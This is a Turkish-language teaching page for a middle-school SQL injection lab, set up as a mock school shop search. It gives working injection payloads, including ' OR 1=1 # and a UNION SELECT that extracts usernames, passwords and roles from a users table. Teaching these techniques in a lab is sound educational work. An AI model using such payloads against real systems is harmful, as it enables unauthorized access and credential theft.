Malatya DENEYAP

🔐 SQL Injection Laboratuvarı

Ortaokul Siber Güvenlik Dersi

Eğitmen: Hakan TOPTAŞ

🛒 Okul Mağazası — Ürün Ara

UNION denemelerinde payload sonuna # ekleyin. Sorgu LIKE '%...%' ile bittiği için -- yorumu burada çalışmaz.

❌ Veritabanı hatası: SQLSTATE[HY000] [1045] Access denied for user 'sqltest'@'localhost' (using password: YES)

Bazı payload'lar hata verebilir — bu da öğrenme fırsatı!

SELECT * FROM urunler WHERE CONCAT(ad, ' ', kategori) LIKE '%' UNION SELECT id, kullanici_adi, sifre, rol FROM kullanicilar #%'

Görev 1: Tüm ürünleri listele
' OR 1=1 #
# sonrasını yorum satırı yapar (arama sayfasında -- çalışmaz).
Görev 2 (İleri): Kullanıcı tablosundan veri çek
' UNION SELECT id, kullanici_adi, sifre, rol FROM kullanicilar #
UNION ile iki sorgunun sonuçlarını birleştirirsin!
Görev 3 (Keşif): Veritabanı adı, tablo ve alanları bul
Veritabanı Keşif modülüne git →